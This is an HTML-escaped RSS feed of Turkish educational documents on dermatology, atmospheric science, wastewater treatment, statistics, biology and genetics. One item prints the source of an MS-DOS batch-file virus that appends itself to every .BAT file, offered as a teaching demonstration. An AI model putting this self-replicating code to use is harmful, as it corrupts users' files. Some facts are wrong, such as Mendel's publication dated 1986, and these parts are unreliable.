birikimi&lt;br/&gt;                             &amp;#61615;&lt;br/&gt;        Dermoepidermal bileşkede hasar&lt;br/&gt;AKUT KUTANÖZ LE -I&lt;br/&gt;Lokalize akut kutanöz LE&lt;br/&gt;SLE&quot;li hastaların % 20-30&quot;unda yüzde klasik kelebek tarzında döküntü veya morbiliform erüpsiyon&lt;br/&gt;Burun köprüsü ve malar çıkıntılar üzerinde simetrik eritem ve ödem&lt;br/&gt;Alın, çene ve boyun V bölgesi&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;  AKUT KUTANÖZ LE -II&lt;br/&gt;Jeneralize akut kutanöz LE&lt;br/&gt;Özellikle kol ve ellerin ekstansör yüzlerinde olmak üzere daha geniş dağılımlı morbiliform ve eksantamatöz erupsiyonlar,&lt;br/&gt;TEN&quot;i taklit edebilir&lt;br/&gt;Etiyolojide UV&quot;nin en fazla rol oynadığı form&lt;br/&gt; &lt;br/&gt;&lt;br/&gt;&lt;br/&gt;AKUT KUTANÖZ LE -III&lt;br/&gt;Histopatoloji;&lt;br/&gt;Bazal tabakada hafif fokal dejenerasyon&lt;br/&gt;Üst dermisde müsinöz ödem&lt;br/&gt;&lt;br/&gt;Ayırıcı tanı;&lt;br/&gt;Seboreik dermatit&lt;br/&gt;Akne rozasea&lt;br/&gt;Polimorf ışık erupsiyonu&lt;br/&gt;Jessner&quot;in lenfositik infiltrasyonu&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;SUBAKUT KUTANÖZ LE -I&lt;br/&gt;Eritemli makül ve/veya papüller hiperkeratotik papüloskuamöz veya annüler/polisiklik plaklara ilerler.&lt;br/&gt;Kolların ve bacakların ekstansör yüzleri,&lt;br/&gt;    sırt üst bölümü,omuzlar,boyun V bölgesi&lt;br/&gt;Nonskatrisyel alopesi, ağrısız müköz membran lezyonları, livedo retikülaris, periungual telenjiektazi&lt;br/&gt;Sjögren sendromu, romatoid artrit, ve hashimoto tiroiditi ile birliktelik&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;SUBAKUT KUTANÖZ LE -II&lt;br/&gt;Histopatoloji;&lt;br/&gt;Folliküler tıkaç&lt;br/&gt;Bazal tabakada hidropik dejenerasyon,&lt;br/&gt;Dermisde ödem,&lt;br/&gt;Eritrositlerin fokal ekstravazasyonu&lt;br/&gt;Fibrinoid dejenerasyon</description></item><item><title>FOSİL YAKITLARIN TÜKETİLMESİ</title><pubDate>9/7/2010</pubDate><link>http://www.veribaz.com/viewdoc.html?fosil-yakitlarin-tuketilmesi-344585.html</link><description>Fosil yakıtların tüketilmesine  bağlı olarak atmosferdeki karbondioksit miktarı giderek artıyor. Atmosferde ne denli çok ısı tutulursa dünyanın sıcaklığı da o denli artar. Buna küresel ısınma denir.&lt;br/&gt;&lt;br/&gt;Atmosferde ki ozon&lt;br/&gt;&lt;br/&gt;Ozon tabakası stratosferde yer alır. Bu tabaka, güneşin ultraviyole ışınlarını büyük ölçüde emerek onların yeryüzüne ulaşmasını engelleyen ozon gazından oluşur.&lt;br/&gt;&lt;br/&gt;CFC&quot;ler (kloroflorokarbonlar) denilen gazların ozon tabakasını deldiği bilimsel olarak saptanmıştır. Bu gazlar aerosol kutularında ve dondurucularda kullanılmaktadır. Ozon tabakasında kuzey kutbu ve Antarktika üzerinde delikler gözlenmiştir. Güneş ışınlarıyla motorlu araçların egzoz gazları arasındaki kimyasal ir tepkime sonucu atmosferin aşağı kesimlerinde yüzey ozonu oluşur. Bu , normal olarak atmosfere yayılır; ancak sıcak hava tabakasının altında soğuk bir hava tabakası sıkışıp kalırsa, ozon gazı yoğunlaşarak fotokimyasal &quot;sis&quot; oluşturur. Yazık ki yüzey ozonu daha yüksekte yer alan ozon tabakasındaki delikleri onaramaz. &lt;br/&gt;&lt;br/&gt;&lt;br/&gt;Yerkürenin katmanları yoğunluklarına göre dıştan içe doğru;&lt;br/&gt;1- Hava kürea (atmosfer),&lt;br/&gt;2- Su küre (hidrosfer), &lt;br/&gt;3- Yer kabuğu (litosfer)&lt;br/&gt;4- Manto,&lt;br/&gt;5- Çekirdek, olmak üzere beş kısımdan oluşmuştur.&lt;br/&gt;&lt;br/&gt;1- Hava Küre (Atmosfer)&lt;br/&gt;&lt;br/&gt;Yerküreyi kuşatan ve onunla birlikte dönen gaz karışımına hava küre (atmosfer) denir. Toplam kalınlığı 10 000 km. kadardır. Atmosfer; troposfer, stratosfer, mezosfer (şemosfer), iyonosfer ve eksosfer (dış küre) katmanlarından oluşmuştur.&lt;br/&gt;&lt;br/&gt;Troposfer:Yer kabuğunun üstündeki ilk katmandır. ortalama kalınlığı yeryüzünden itibaren 12 km.dir. Kutup bölgelerinde kalınlık 8 km.ye kadar düşer. ekvatorda ise 16 km.yi bulur. Yerkabuğundan yukarıya doğru çıkıldıkça basınç ve sıcaklık 0,5 dereceye düşer. Troposferin son bulduğu bölgede hava sıcaklığı -50 dereceye, -60 dereceye kadar düşer.&lt;br/&gt;Rüzgar, yağış, yıldırım, şimşek gibi doğa olayları genellikle troposfer tabakasında oluşur.&lt;br/&gt;&lt;br/&gt;Stratosfer: Kalınlığı 30 km.dir. Stratosferde yükseldikçe basınç düşer. Troposferin tersine stratosferde yükseldikçe sıcaklık artar. Stratosferin bitiminde sıcaklık 0 dereye çıkar. Bu katmanla mezosfer arasında bulunan ozon tabakası, güneşten gelen ultraviyole ışınlarını soğurarak dünyamızdaki canlıları güneşin zararlı etkilerinden korur.&lt;br/&gt;&lt;br/&gt;Ozon tabakasının bazı bölgelerinin dünyada kullanılan spreyler, soğutucular ve kloroflorokarbon gazından dolayı inceldiği tespit edilmiştir. Kloroflorokarbon gazının üretimi ve kullanımı yasaklanmıştır.&lt;br/&gt;&lt;br/&gt;Mezosfer (Şemosfer): Yaklaşık 35-45 km. kalınlığındadır. Stratosferde artan sıcaklık burada tekrar azalmaya başlar. sıcaklık mezosferin bitiminde -100 dereceye kadar düşer. &lt;br/&gt;&lt;br/&gt;İyonosfer: Yer kabuğundan itibaren yaklaşık 80 km. yukarıda başlayan katmandır. Ortalama kalınlığı 250-300 km. kadardır. atmosferin bu katmanında gazlar seyrek ve iyon halinde bulunduğundan iyonosfer adı verilmiştir. Bu tabaka radyo dalgalarının yayılmasını kolaylaştırır. Bu nedenle haberleşmede iyonosferden yararlanılır.&lt;br/&gt;&lt;br/&gt;Eksosfer (dış küre): Atmosferin en dış katmanının oluşturur. Eksosferde bazı gaz molekülleri yer çekiminin kuvvetinin etkisinden kurtularak uzaya kaçar. Bu nedenle üst sınırını tespit etmek zordur. Bu tabakanın yerden 10 000 km yüksekliğe kadar ulaştığı tahmin edilmektedir.&lt;br/&gt;&lt;br/&gt;Atmosferde bulunan gazların oranları şöyledir:&lt;br/&gt;%78&lt;br/&gt;%21&lt;br/&gt;%1 den az diğer gazlar (argon, hidrojen, neon, helyum vb.). Bunlar atmosferi oluşturan ve oranları değişmeyen temel gazlardır. Atmosfer hacminin bir bölümünü de karbondioksit, su buharı ve atmosfer tozları oluşturur. Bunların miktarı değişebilir.&lt;br/&gt;&lt;br/&gt;Havadaki bu gazlardan oksijen, azot ve karbon dioksit canlılar için çok önemlidir. Canlılar solunum için oksijene gereksinim duyar. Oksijen besinlerin yanıp, enerjiye dönüşmesinde kullanılır.&lt;br/&gt;&lt;br/&gt;Azot, oksijen gazını seyreltir. Hem solunuma yararlı hale getirir, hem de ani yanmaları önler. Ayrıca azot, proteinli besin maddelirinin yapılması için gereklidir. Havadaki azot, azot bağlayıcı bakteriler tarafından toprağa geçer. Bitkiler fotosentez sonucunda prot</description></item><item><title>BİYOLOJİK ARITMA SÜREÇLERİNDE FOSFORUN GERİ KAZANIMI</title><pubDate>9/7/2010</pubDate><link>http://www.veribaz.com/viewdoc.html?biyolojik-aritma-sureclerinde-fosforun-geri-kazanimi-352882.html</link><description>BİYOLOJİK ARITMA SÜREÇLERİNDE FOSFORUN GERİ KAZANIMI&lt;br/&gt;&lt;br/&gt;İÇİNDEKİLER ............................................................................................................. i&lt;br/&gt;ÖZET ......................................................................................................................iii&lt;br/&gt;ABSTRACT................................................................................................................ iv&lt;br/&gt;TEŞEKKÜR................................................................................................................. v&lt;br/&gt;SİMGELER DİZİNİ ................................................................................................... vi&lt;br/&gt;ŞEKİLLER DİZİNİ....................................................................................................vii&lt;br/&gt;ÇİZELGELER DİZİNİ ................................................................................................ x&lt;br/&gt;1 GİRİŞ ............................................................................................................ 1&lt;br/&gt;2 KAYNAK BİLGİSİ ...................................................................................... 4&lt;br/&gt;2.1 Fiziksel ve Kimyasal Yöntemlerle Fosfor Giderimi ..................................... 4&lt;br/&gt;2.2 İleri Biyolojik Fosfor Giderimi ..................................................................... 5&lt;br/&gt;2.3 Fosfor Geri Kazanımı.................................................................................. 10&lt;br/&gt;2.3.1 Presipitasyon ve Çözünme .......................................................................... 10&lt;br/&gt;2.3.2 Kalsiyum Fosfat Presipitasyonu.................................................................. 14&lt;br/&gt;2.3.3 Kalsiyum Fosfat Bileşiklerinin Oluşumu ve Çözünürlüğü ......................... 21&lt;br/&gt;2.3.4 Struvit Presipitasyonu .................................................................................25&lt;br/&gt;2.4 Fosfor Geri Kazanım Prosesinin Pratik Aplikasyonları.............................. 31&lt;br/&gt;2.4.1 DHV Kristal Reaktörü ................................................................................31&lt;br/&gt;2.4.2 RIM-NUT İyon Değiştirici Prosesi............................................................. 34&lt;br/&gt;2.4.3 Unitika Phosnix Prosesi .............................................................................. 36&lt;br/&gt;2.4.4 Kurita Sabit Yataklı Kristalizasyon Kolonu ............................................... 37&lt;br/&gt;2.4.5 CSIR Akışkan Yataklı Kristalizasyon Kolonu............................................ 38&lt;br/&gt;2.5 Fosfor Geri Kazanımı ile İlgili Yapılmış Diğer Çalışmalar........................ 40&lt;br/&gt;3 MATERYAL VE METOT ......................................................................... 43&lt;br/&gt;3.1 Deneysel Çalışmalarda Kullanılan Cihazlar ve Yapılan Analizler ............. 43&lt;br/&gt;3.2 Anaerobik Kademe Üst Sularındaki Konsantre Fosfatların Kimyasal&lt;br/&gt;Çökeltimi..................................................................................................... 47&lt;br/&gt;3.3 Yapay Ortamda Struvit Presipitasyonu Çalışmaları ................................... 50&lt;br/&gt;4 BULGULAR...............................................................................................53&lt;br/&gt;4.1 Apatit Presipitasyonu ile Fosfor Geri Kazanım Çalışmaları....................... 53&lt;br/&gt;ii&lt;br/&gt;4.1.1. 20*C Sıcaklıkta Yapılan Presipitasyon Çalışmaları .................................... 53&lt;br/&gt;4.1.2 25*C Sıcaklık Değerinde Yapılan Presipitasyon Denemeleri ..................... 63&lt;br/&gt;4.1.3 Apatit Presipitasyonunda Bentonitin Kilinin Çekirdek Materyali olarak&lt;br/&gt;Kullanılması ................................................................................................ 72&lt;br/&gt;4.1.3.1 20*C Sıcaklıkta Yapılan Presipitasyon Denemeleri.................................... 72&lt;br/&gt;4.1.3.2 25*C Sıcaklıkta Yapılan Presipitasyon Denemeleri.................................... 76&lt;br/&gt;4.1.4 Oluşan Tortular Üzerinde Yapılan Analizler .............................................. 81&lt;br/&gt;4.2 Struvit Presipitasyonu ile Yapay Ortamdan Fosfor Geri Kazanım&lt;br/&gt;Çalışmaları ..........................................</description></item><item><title>BİYOMETRİ VE BİYOİSTATİSTİK</title><pubDate>9/7/2010</pubDate><link>http://www.veribaz.com/viewdoc.html?biyometri-ve-biyoistatistik-396582.html</link><description>İstatistik kelimesi günlük yaşamda belirli bir amaca hizmet etmek üzere derlenmiş verileri ifade etmek için kullanılmaktadır. 2003 yılı ihracat istatistikleri, 2004  yılı trafik kazaları gibi.&lt;br/&gt;İstatistik bilimi temel olarak verilerin toplanması, işlenmesi, analizi ve yorumlanması ile ilgilenir.&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;Tam Sayım ve Örnekleme&lt;br/&gt;Araştırmada örneklem yerine kitleye ait veriler kullanılıyorsa tam sayım yapılıyor demektir. Örneğin genel nüfus sayıları gibi.&lt;br/&gt;Araştırma kitle yerine kitleden çeşitli yöntemler ile seçilen denekler üzerinde yapılıyorsa bu durumda örnekleme işlemi yapılıyor demektir. &lt;br/&gt;Örnekleme Yöntemleri&lt;br/&gt;Olasılığa bağlı olmayan&lt;br/&gt;Olasılığa bağlı &lt;br/&gt;- Basit rasgele&lt;br/&gt;- Tabakalı rasgele&lt;br/&gt;- Sistematik &lt;br/&gt;- Kümeleme</description></item><item><title>VİRUSLER HAKKINDA HERŞE</title><pubDate>9/7/2010</pubDate><link>http://www.veribaz.com/viewdoc.html?virusler-hakkinda-herse-437307.html</link><description>Virusler Hakkında Herşey&lt;br/&gt;&lt;br/&gt;Virüs nedir diye konumuza başlıyorum sevgili bilgisayar kulanıcıları virüsler bilgisayar ortamlarına kaçak olarak giren küçük programlardırsisteme girdiklerinde coğalırlar ve tüm sistemi ele geçirirler virüsler kimilerine göre canlıdır çünkü yapay zekaları oldukları ve üreme iç güdüleri oldugundan canlı oldukları düşünülür&lt;br/&gt;tabi bu tartışılır biz Kaos Team olarak bu yazıda bahsedecegiz virüslerden nasıl korunuruz veya nasıl kurtuluruz.konuya girmeden önce virüsler hakında bilgi edinelim böylece bulaşma yolarınıda &lt;br/&gt;ögrenebiliriz.&lt;br/&gt;&lt;br/&gt;herhangi bir yazılımın virüs olabilmesi için en az şu kriterleri saglaması gerklidir:&lt;br/&gt;1.çalıştırılabilir olmalı&lt;br/&gt;2.kendi kendilerine cogalması&lt;br/&gt;3.diger çalışabilir opjeleri kendi kolanisine çevirebilmesi&lt;br/&gt;Bir bilgisayar virüsü yazamk çok kolaydır aşagıda verdigimiz virüsün &lt;br/&gt;kaynak kodudu (batch file virüs)nün kaynak kodudur bu yazılım ms-dos işletim sisteminin bacth file yazılmıştır&lt;br/&gt;bu bir virüs yazılımıdır yalnızca virüslerin komutlarından oluşan bir yazılımı oldugunu göstermek amacıyla verilmiştir &lt;br/&gt;lütfen şaka amaçlada olsa bu yazılımı kimseye uygulamayınız zaten her virüs koruma programı&lt;br/&gt;tanıya bilmekte eski bir virüs yazılımıdır. &lt;br/&gt;&lt;br/&gt;KAOS TEAM (BFV) KAYNAK KODU&lt;br/&gt;&lt;br/&gt;echo The Batch Filr Virus (BFT.BAT)&lt;br/&gt;echo Osborne/McGraw-Hill ``Computer Virıs Handbook`` kitabından&lt;br/&gt;echo -Bu purogram, bilgisayar virislerinin nasıl çalıştıklarını ve&lt;br/&gt;echo bir bilgisayar virisinün ne kadar kolay oldugunu&lt;br/&gt;echo gostermektedir.&lt;br/&gt;echo -Bulunulan dizin:&lt;br/&gt;cd&lt;br/&gt;echo -&lt;br/&gt;echo UYARI! BU PROGRAM, BULUNULAN DİZİNDEKİ BÜTÜN .BAT DOSYALARINA&lt;br/&gt;echo BULAŞIR. BULAŞTIGI .BAT DOSYALARI DİGER .BAT DOSYALARINI DA &lt;br/&gt;echo ETKİLER! BU PROGRAMI ÇALIŞTIRMAKLA BÜTÜN .BAT DOSYALARINIZI&lt;br/&gt;echo BOZABİLİRSİNİZ!&lt;br/&gt;echo -&lt;br/&gt;echo Lütfen bu programı çalıştırmadan önce bütün .BAT dosyalarınızı&lt;br/&gt;echoyedekleyiniz. Eger nasıl yedekleme yapılacagını bilmiyorsanız&lt;br/&gt;echo bu programı çalıştırmayın.&lt;br/&gt;echo -&lt;br/&gt;echo Yukardaki açıklamaları anladıysanız devam etmek için &lt;br/&gt;echo herhangi bir tuşa; programdan çıkmak için ^C tuşlarına basınız.&lt;br/&gt;pause   nul&lt;br/&gt;cls&lt;br/&gt;echo Bulunulan dizin&lt;br/&gt;cd&lt;br/&gt;echo Dizindeki bütün .BAT dosyalarına bulaşıyorum...&lt;br/&gt;ctty nul&lt;br/&gt;for % %f in (*.bat) do copy % % f + bfv.bat&lt;br/&gt;ctty con&lt;br/&gt;cls&lt;br/&gt;echo Bu dizindeki bütün .BAT dosyalarına Batch File Virüsü&lt;br/&gt;echo bulaşmıştır. Bu virüsü temizlemek için yedeklediginiz .BAT&lt;br/&gt;echo dosyalarını yerlerine kopyalayınız.&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;Şimdi virüs çeşitlerini sıralıyacaz&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;Kullandıkları teknikler çok çeşitli olsa da, virüsler pratikte kabaca Dosya ve Boot virüsleri olarak ikiye ayrılırlar. Virüs deyince genelde akla ilk gelen dosya virüsleridir. Ama sık rastlanan birçok virüsün boot virüsü olduğunu da hatırlatmakta fayda var. Bir Cansuyu, Crazy Bootu, eskilerden Ping-Pongu kim unutabilir ki? &lt;br/&gt;Boot Virüsleri. Disketlerin ve sabit disklerin boot sektörlerine yerleşirler. Bilgisayar açıldığında veya sıfırlandığında (resetlendiğinde) disketin veya sabit diskin boot sektöründeki yükleyici program otomatik olarak çalıştırılır. Daha sonra işletim sistemi yüklenir ve bilgisayar normal kullanıma başlanır. Boot virüsleri, boot sektöründeki yükleme programında değişiklik yaparak kendilerini otomatikman çalıştırırlar. Böylece aktif hale gelirler ve bilgisayar kapatılana kadar bulaşmaya devam ederler. &lt;br/&gt;&lt;br/&gt;Dosya Virüsleri. Dosya virüsleri genelde virüs deyince akla gelen virüs türüdür. Bunlar birer asalak gibi kendilerini programın sonuna eklerler. Programın başında da değişiklik yaparak, program çalıştırıldığında ilk önce kendileri çalışırlar. RAM belleğe bir TSR gibi yerleşirler ve bilgisayar kapatılana kadar bulaşmaya devam ederler. Genelde EXE ve COMlara bulaşırlar. Bazılarının SYS, OVL ve BIN gibi program kodu dosyalarına bulaştığı da görülmüştür. Çoğu yalnızca çalıştırılan program dosyalarına bulaşmakla birlikte, Yandan Çarklı virüsü gibi olanları çalıştırılmayanlara da bulaşırlar. &lt;br/&gt;&lt;br/&gt;Virüsümsüler. Virüslere benzeyen fakat virüs olmayan birçok program türü vardır. Bunların ortak özelliği bilgimiz dışında çalışmalarıdır. Örneğin bombalar; bir program yazıl</description></item><item><title>EŞELİ ÜREME</title><pubDate>9/7/2010</pubDate><link>http://www.veribaz.com/viewdoc.html?eseli-ureme-361250.html</link><description>BİYOLOJİYE GİRİŞ:&lt;br/&gt;Beslenme Türüne Göre Canlılar:&lt;br/&gt;Beslenme Türüne Göre Canlılar:Beslenme Türüne Göre Canlılar:&lt;br/&gt;CANLILARIN SINIFLANDIRILMASI :&lt;br/&gt;CANLILARIN ORTAK ÖZELLİKLERİ :&lt;br/&gt;- HÜCRE&lt;br/&gt; - ADAPTASYON&lt;br/&gt; - BESLENME&lt;br/&gt; - HAREKET VE İRKİLME&lt;br/&gt; -METABOLİZMA&lt;br/&gt; -ŞEKİL&lt;br/&gt; -DNA VE ENZİMLER&lt;br/&gt; -ÜREME&lt;br/&gt; -HÜCRE BÖLÜNMESİ&lt;br/&gt; -SOLUNUM&lt;br/&gt;&lt;br/&gt;Beslenme Türüne Göre Canlılar:&lt;br/&gt;&lt;br/&gt; &lt;br/&gt;Ototrof Canlılarda Enerji Elde Edimi :&lt;br/&gt;Sistematik Sınıflandırılması :&lt;br/&gt;Canlıları tanımlama, adlandırma ve benzer özelliklere göre gruplandırmadır. İki çeşlt sınıflandırma vardır.&lt;br/&gt;&lt;br/&gt;1-Ampirik sınıflandırma&lt;br/&gt;2-Filogenetik (Doğal ) sınıflandırma&lt;br/&gt;&lt;br/&gt;Ampirik sınıflandırma M.Ö. 350 yılında Aristo tarafından yapılmıştır. Çok yüzeysel bir sınıflandırma olduğu için bugün kullanılmamaktadır. Aristo, bitkileri ot, çalı, ağaç, hayvanları ise suda, karada ve havada yaşayanlar olarak sınıflandırmıştır.&lt;br/&gt;&lt;br/&gt;1-Ampirik Sınıflandırma&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;2-Filogenetik (Doğal) Sınıflandırma:&lt;br/&gt;Bugün kullanılan sınıflandırma filogenetik (doğal) sınıflandırmadır. Bu sınıflandırmada canlılar, anatomik, biyokimyasal, kalıtsal ve evrimsel özelliklerine göre gruplandırılır. Burada esas olan, canlılar arasındaki akrabalık derecelerinin tayin edilmesidir. Filogenetik sınıflandırmada çeşitli konular ele alınır. Bunlar evrim, homolog organlar ve protein benzerliğidir.&lt;br/&gt;Evrim:&lt;br/&gt;Evrim, canlıların uzun bir zaman içinde basitten karmaşığa doğru gelişmeleridir. Canlıların akrabalıklarını tayin ederek ortak özelliklerine göre gruplandırılmalarında, onların basit veya karmaşık yapıda olmaları önemlidir.&lt;br/&gt;&lt;br/&gt;Homolog Organlar:&lt;br/&gt;Orijinleri (temel yapıları) aynı, görevleri farklı olan organlardır. Canlıların homolog organlarının çokluğuna bakılarak akrabalık dereceleri tayin edilebilir&lt;br/&gt;Analog Organlar: Orjinleri (temel yapıları) farklı, görevleri aynı olan organlardır.&lt;br/&gt;Protein Benzerliği : Akrabalık derecesi ne kadar yakınsa proteinleri o kadar benzerdir.&lt;br/&gt;&lt;br/&gt;          Kan Proteinleri &lt;br/&gt;Enjeksiyon&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;     KAN   KAN&lt;br/&gt;  &lt;br/&gt;Antijen + antikor = Aglutinasyon&lt;br/&gt;          (çöken)  (çöktüren)  (çökme)&lt;br/&gt;      X antijeni   =  Buna karşı antikor oluşmaz, çünkü aynı antijen B&quot;de de var&lt;br/&gt;      Y antijeni + Y antikoru = çökme (+)&lt;br/&gt;      Z antijeni + Z antikoru = çökme (+)  &lt;br/&gt;      T antijeni + T antikoru = çökme (+)&lt;br/&gt;&lt;br/&gt;Sınıflandırma Birimleri:&lt;br/&gt;Sınıflandırmanın en küçük birimi olan tür tanımı, ilk defa John Ray tarafından ortaya atılmıştır. Tür, birbirleri ile çiftleşebilen ve verimli, yani kısır olmayan döller verebilen ve yapı bakımından ortak bir kökenden gelen bireyler topluluğudur. Örneğin, at ve eşek birer tür iken, bunların çiftleşmesi sonucu ortaya çıkan katır bir tür sayılmaz. Çünkü katır kısırdır. Linne, her bir türe, bir cins ve bir tanımlayıcı addan oluşan Latince birer ad vermiştir. Bu adlandırmaya binomial adlandırma (ikili adlandırma) denir. Bu adlandırmada cins adı büyük harfle, tanımlayıcı ad ise küçük harfle yazılır. Bu her iki ad birlikte tür adını belirler. Sınıflandırma birimlerinin en büyük birimden en küçük birime doğru sıralanması şekildeki gibidir.&lt;br/&gt;Sınıflandırma Basamakları:&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;Prokaryot Hücreliler (Monera Alemi):&lt;br/&gt;Bu gruptaki canlıların hepsi tek hücrelidir. Bu hücrelerde çekirdek yoktur. Ayrıca mitokondri, kloroplast, golgi v.b.zarlı organeller de bulunmaz. Prokaryot hücreler, iki alt grupta incelenir:&lt;br/&gt;&lt;br/&gt;1-Mavi -Yeşil Algler :&lt;br/&gt;-Genellikle koloniler halinde yaşarlar.&lt;br/&gt;-Fikosiyanin maddesinden dolayı mavi, klorofilden dolayı da yeşil görünürler.&lt;br/&gt;-Oksijenli solunumla enerji üretirler.&lt;br/&gt;-Fotosentezle organik besin üretirler.&lt;br/&gt;-Elektron taşıma sistemi ve fotosentez enzimleri, mavi-yeşil alglerin sitoplazmasında bulunur. (Mezozom)&lt;br/&gt;&lt;br/&gt;2-Bakteriler:&lt;br/&gt;Tüm bakteriler prokaryot hücrelerdir. Bu yüzden zarlı organelleri bulunmaz. Bakteriler konusu 6 alt başlıkta incelenebilir.&lt;br/&gt;&lt;br/&gt;-Bakterilerin Yapısı&lt;br/&gt;-Bakterilerde Endospor&lt;br/&gt;-Bakterilerin Üremesi&lt;br/&gt;-Bakterilerin Gruplandırılması&lt;br/&gt;-Sterilizasyon&lt;br/&gt;-Bağışıklık&lt;br/&gt;Bakterilerin Yapısı:&lt;br/&gt;Bakterilerin sitoplazmaları içinde DNA, RNA, ribozomlar, glikojen, protein ve yağ tanecikleri ile glikoliz enzimleri gibi metabolizma enzimleri bulunur.&lt;br/&gt;DNAlarının etrafında protein tabakası v</description></item><item><title>BİYOLOJİ VİRÜSLER</title><pubDate>9/7/2010</pubDate><link>http://www.veribaz.com/viewdoc.html?biyoloji-virusler-343701.html</link><description>VİRÜSLER&lt;br/&gt;Çok küçük mikroorganizmalardır. Uzun süre bilim adamlarının dikkatini çekmemiştir. Meydana getirdiği hastalıklar hep bakterilerden bilinmiştir. Elektron mikroskobunun bulunmasıyla ancak virüslerin farkına varılmıştır. &lt;br/&gt;İlk olarak tütün bitkisinin yapraklarında hastalık meydana getiren virüs bulunmuştur. Daha önce tütnlerde bu hastalığın bakteriler tarafından meydana getirildiği sanılıyordu, fakat incelemelerin hiç birisinde bakteriye rastlanmıyordu. Hasta tütün yapraklarından elde edilen özütün elektron mikroskobuyla incelenmesinden sonra hastalığın bakteri dışında yeni bir mikroorganizma tarafından meydana getirildiği görüldü. Bu mikroorganizmalarda daha önce hiç rastlanılmayan ve bilinmeyen bir yapı ortaya çıktı. Normal hücre yapısına bemzemeyen virüslerde sadece dış tarafında bir protein kılıf ve içerisinde nükleik asit vardı. Bunların dışında stoplazma, organel gibi yapılar bulunmuyordu. Bu yapıda onların zorunlu parazit yaşamalarını gerektiriyordu.&lt;br/&gt;Evet, bir virüsün yapısı sadece dışta bir protein kılıf ve içerisinde nükleik asitten meydana gelir. Herhangi bir organeli ve enzimleri olmadığı için normal bir hücre gigi yaşamlarını sürdürebilmeleri olanaksızdır. Yaşamsal faliyet (üreme gibi) gösterebilmek için mutlaka canlı bir hücreye girmeleri gerekir. Hücre dışında ise kristal halde bulunurlar. Bu yüzden bilim adamları tarafından cansızlık ile canlılık arasında geçiş formu olarak kabul edilirler. &lt;br/&gt;Virüsler küre, çubuk ve elips şeklinde olabilirler. Bulundurdukları nükleik asit tek çeşittir. Yani ya sadece DNA yada sadece RNA bulundururlar. Aynı zamanda çok ta spesifiktirler. Sadece belirli hücrelere girerler. Bir kuduz virüsü sadece beyin hücrelerine, uçuk virüsü sadece ağız civarındaki epitel doku hücrelerine bir bakteriyofaj sadece belirli bakteri türlerine, AIDS virüsü sadece kandaki akyuvar hücrelerine gibi.&lt;br/&gt;Virüs hücreye tutunduğunda ilk önce hücrenin zarını eritir. Dha sonra bu delikten içeriye kendi nükleik asitini akıtır. Hücreye giren virüs nükleik asiti derhal yönetimi ele geçirerek hücreyi kendi hesabına çalıştırmaya başlar. İlk önce kendi nükleik asitlerinin kopyalarını arkasından da protein kılıflarını sentezlettirir. Daha sonra bunları birleştirerek yüzlerce virüs oluşmasını sağlar. Hücre içerisindeki virüsler hücreyi patlatarak dışarı çıkar ve yeni hücrelere saldırırlar. Yapılarından dolayı ve hücre içerisinde bulunduklarından antibiyotik türü ilaçlardan etkilenmezler.&lt;br/&gt;&lt;br/&gt;BAKTERİLER&lt;br/&gt;GENEL ÖZELLİKLERİ&lt;br/&gt;Monera alemini oluşturan prokaryot canlıların en yaygın ve en çok bilinen grubu bakterilerdir. O kadar yaygındır ki bugün dünyamızda bakterinin bulunmadığı yer yoktur diyebiliriz. En çok organik atıkların bol bulunduğu yerlerde ve sularda yaşarlar. Bununla beraber, -90 0C buzullar içinde ve +80 0C kaplıcalarda yaşayabilen bakteri türleri de vardır. Hava ile ve su damlacıkları ile çok uzak mesafelere taşınabilirler. Deneysel olarak ilk defa 17. yüzyılda bakterileri gözleyebilen ve onların şekillerini açıklayan Antoni Van Lövenhuk olmuştur. Bakteriler bütün hayatsal olayların gerçekleştiği en basit canlılardır. Hepsi mikroskobik ve tek hücrelidirler. Büyüklükleri normal ökaryotik hücrelerin mitokondrileri kadardır.&lt;br/&gt;HÜCRE YAPISI&lt;br/&gt;Prokaryot olduklarındanzarla çevrili çekirdek, mitokondri, kloroplast, endoplazmik retikulum, golgi gibi organelleri yoktur. Ribozom bütün bakterilerin temel organelidir. DNA, RNA, canlı hücre zarı ve stoplazmayine bütün bakterilerintemel yapısını oluşturur. Bunlara ek olarak bütün bakterilerde hücre, cansız bir çeperle (murein) sarılıdır. Çeperin yapısı, bitki hücrelerinin çeperinden farklıdır. Selüloz ihtiva etmez.&lt;br/&gt;Bazı bakterilerde hücre çeperinin dışında kapsül bulunur. Kapsül bakterinin dirençliliğini ve hastalık yapabilme (patojen olma) özelliğini artırır. &lt;br/&gt;&lt;br/&gt;GENEL BİR BAKTERİ ŞEKLİ&lt;br/&gt;&lt;br/&gt;Bazı bakteriler kamçılarıyla aktif hareket edebilirken, bazıları kamçıları olmadığı için ancak bulundukları oetamla beraber pasif hareket edebilirler. &lt;br/&gt;buna göre bakteriler, kamçısız, tek kamçılı,</description></item><item><title>GENETİK ALANDAKİ GELİŞMELER HAYATI NASIL ETKİLEYEBİLİR</title><pubDate>9/7/2010</pubDate><link>http://www.veribaz.com/viewdoc.html?genetik-alandaki-gelismeler-hayati-nasil-etkileyebilir-360726.html</link><description>GENETİK ALANDAKİ GELİŞMELER HAYATI NASIL  ETKİLEYEBİLİR&lt;br/&gt;Genetik kalıtım birimi olarak da bilinir.Kalıtım yasalarını ,özellikle de genleri konu alan bilim dalıdır.İnsanlar kalıtımın etkilerini çok eski çağlarda gözlemledikleri,hatta bitki ve hayvan ıslahında uyguladıkları halde, kalıtım mekanizmasının bilimsel açıklaması oldukça yakın tarihlere rastlar.Çağdaş genetik bezelyeler üstündeki çaprazlama deneyleriyle kalıtım temel yaslarına ulaşan Avusturyalı keşiş Gregor Mendel&quot;in çalışmalarıyla başlamıştır. Mendel çaprazlamayla elde ettiği bitkinin incelediği her özelliğinin,çaprazlanan bitkilerin her ikisinden gelen birer etkenin birikiminden kaynaklandığı sonucuna varmıştır. Daha sonra, bu etkenlerden  bazılarının diğerlerine başat olduğuna ve anaç bitkinin her etken çiftindeki tek bir etkeni yeni döllerle rasgele aktardığına, bu nedenle ilk bitkiden gelen etkenlerin döllerde karışmadığına karar verdi.1986&quot;da bulgularını yayımladı fakat biyoloji 